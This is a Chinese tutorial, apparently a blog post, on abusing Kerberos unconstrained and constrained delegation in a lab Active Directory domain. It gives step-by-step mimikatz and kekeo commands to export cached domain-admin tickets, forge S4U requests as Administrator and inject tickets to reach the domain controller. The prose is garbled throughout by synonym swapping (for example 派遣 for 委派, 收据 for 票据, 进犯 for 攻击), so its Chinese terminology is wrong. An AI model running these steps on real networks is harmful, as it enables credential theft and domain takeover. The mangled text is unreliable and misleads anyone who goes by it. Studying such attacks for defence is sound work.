本文已参加「新人创造礼」活动.一起敞开创造之路。
一、域派遣
域派遣是指将域内用户的权限派遣给服务账号,使得服务账号能以用户的权限在域内展开活动。
派遣主要分为非束缚派遣(Unconstrained delegation)和束缚派遣(Constrained delegation)两个方法,还有一种是根据资源的束缚派遣(Resource Based Constrained Delegation)。
为什么需求域派遣
为什么需求域派遣呢,比方现在有web服务器和文件服务器,当用户A拜访web服务器去恳求某个资源时,web服务器上本身并没有该资源,所以web服务器就会从文件服务器上调用这个资源,其间产生的过程若以域派遣的形式进行,那么便是:用户A拜访web服务器,服务器再以用户A的身份去拜访文件服务器。
二、非束缚派遣
非束缚派遣(Unconstrained Delegation),服务账号可以获取某用户的TGT,然后服务账号可运用该TGT,模仿用户拜访恣意服务。
例如:
当user拜访service时,假如service的服务账号或许主机敞开了(非束缚派遣),则当user拜访service时会将user的TGT发送给service并保存在内存中以备下次重用,然后service就可以运用这张TGT以user的身份去拜访域内的任何服务(任何服务是指user能拜访的服务),假如这儿的user是域办理员用户,那么咱们便可以得到该用户的TGT。
非束缚派遣的进犯方法中有两种:
1、设置主机账户为非束缚派遣,经过域办理账户对该主机账户进行拜访,留下收据在该主机账户下,然后拿该收据去写入内存,然后可以运用域办理的TGT去拜访域控。
2、设置服务账号为非束缚派遣,经过域办理账户对该服务进行拜访,留下收据在该主机账户下,然后拿该收据去写入内存,然后可以运用域办理的TGT去拜访域控。
非束缚派遣进犯
试验环境
域: hacker.lab
域控(win2012): 192.168.189.193
域办理员(win2012):192.168.189.196
域用户(win7): 192.168.189.194 敞开了非束缚派遣
1、敞开win7主机账号的派遣特点
对win7主机账号敞开了派遣特点,若咱们拿下win7这台机器并且有域账户,域控拜访了该机器则可以进行进犯
这儿咱们直接在域控将域账号win7注册为服务账号
setspn -U -A 服务称号/主机名.域名 域账号
setspn -U -A abc/win7.hacker.lab win7
#删除
setspn -D abc/win7.hacker.lab win7
检查 setspn -Q / 可发现成功注册
2、敞开域账户的派遣特点
注册成功后可发现特点中有了派遣这个特点,若没注册服务账号则没有该特点选项。
3、查询非束缚派遣的主机和用户
查询非束缚派遣的主机:
AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询非束缚派遣的用户:
AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询非束缚派遣的用户:
查询非束缚派遣的主机:
⾮束缚派遣进犯利⽤
当设置了非束缚性派遣,需求让域控模仿拜访被设置了⾮束缚派遣的机器。可以运用如下的方法模仿拜访
1、在域办理员win2012上履行
Enter-PSSession -ComputerName win7
域办理员模仿拜访被设置了束缚派遣的机器后,这个时分其实域办理win2012的 TGT 已经缓存在 win7机器上了
2、运用mimikatz导出凭证
以本地办理员权限运转mimikatz
先铲除一下当时收据缓存:
"privilege::debug" "kerberos::purge" "exit"
3、运用 mimikatz导出所有收据出来:
privilege::debug
sekurlsa::tickets /export
4、这个时分咱们获得了域办理员win2012的 TGT !咱们现在拜访域控肯定是拜访不了的
5、 注入收据:
6、注入收据之后咱们就可以在win7上拜访域控了
dir \DC\c$
三、束缚派遣
束缚性派遣(Constrained Delegation),即Kerberos的扩展协议S4U2Proxy,服务账号只能获取某用户的ST,然后只能模仿用户拜访特定的服务
因为非束缚派遣的不安全性,引入了束缚派遣,对kerberos协议进行了扩展,参加S4U,其间S4U支持两个子协议:Service for User to Self ( S4U2Self )和 Service for User to Proxy ( S4U2proxy ),这两个扩展都答应服务代表用户从KDC恳求票证。 S4U2self可以代表本身恳求针对其本身的可转发的Kerberos服务收据(ST1) ; S4U2proxy可以以用户的名义恳求其它服务的ST2 ,束缚派遣便是束缚了S4U2proxy扩展的规模。
user拜访serviceA,向DC发起kerberos认证,域控回来user的TGT和ST1收据,user运用ST1收据对serviceA进行拜访;
假如配置了serviceA到serviceB的束缚派遣,则serviceA能运用S4U2Proxy协议将用户发给自己的可转发的ST1收据以用户的身份发给DC;DC回来serviceA一个用来拜访serviceB的ST2收据,这样serviceA就能以用户的身份对serviceB发起拜访。
进犯原理
因为服务用户只能获取某个用户(或主机)的服务的ST1而非TGT , 所以只能模仿用户拜访特定的服务 ;但是假如可以拿到束缚派遣用户(或主机)的明文暗码或hash,那么就可以假造S4U的恳求,伪装成服务用户以恣意用户的权限恳求拜访指定服务的ST2。
束缚派遣进犯运用
试验环境
域: hacker.lab
域控(win2012): 192.168.189.193
域办理员(win2012):192.168.189.196
域用户(win7): 192.168.189.194 敞开了对域办理员win2012 cifs服务的束缚派遣
1、这儿咱们在域控将域账号win7注册为服务账号
setspn -U -A 服务称号/主机名.域名 域账号
setspn -U -A abc/win7.hacker.lab win7
#删除
setspn -D abc/win7.hacker.lab win7
2、将主机win7设置为束缚派遣,并添加服务(cifs)
将用户win7设置为束缚派遣,并添加服务(cifs)
3、查询束缚派遣的主机和用户
查询束缚派遣的用户
AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查询束缚派遣的主机
AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查询束缚派遣的用户
查询束缚派遣的主机
4、运用kekeo恳求服务用户的TGT:(这一步需求知晓账户的明文暗码或hash)
kekeo下载地址:github.com/gentilkiwi/…
tgt::ask /user:win7 /domain:hacker.lab /password:chiza2596! /ticket:test.kirbi #运用明文暗码恳求
tgt::ask /user:win7 /domain:hacker.lab /NTLM:XXXXX #运用hash恳求
履行完成后得到服务用户的TGT
5、运用这个收据经过假造S4U恳求以administrator身份拜访win7的ST
tgs::s4u /tgt:TGT_win7@HACKER.LAB_krbtgt~hacker.lab@HACKER.LAB.kirbi /user:Administrator@hacker.lab /service:cifs/win2012.hacker.lab
履行完成后administrator的ticket (用于拜访win7的CIFS服务),将这个凭证导入拜访win7的cifs服务
6、导入凭证
kerberos::ptt TGS_Administrator@hacker.lab@HACKER.LAB_cifs~win2012.hacker.lab@HACKER.LAB.kirbi
凭证导入前
导入凭证后
dir \win2012.hacker.lab\c$
总结
1、当咱们查询到域内束缚派遣的用户时,并知晓它的明文暗码或NTLM hash,才干运用东西恳求它的TGT;
2、然后运用这个TGT,假造S4U恳求以administrator身份去拜访这个服务账号的ST;
3、这儿可以生成恣意权限身份的ticket,咱们是以administrator身份去拜访的,所以生成的便是administrator的ticket,这个便是ST2;最后运用东西导入这个ST2,那咱们就可以成功拜访相应的机器;一般束缚派遣大都用于用户权限维持。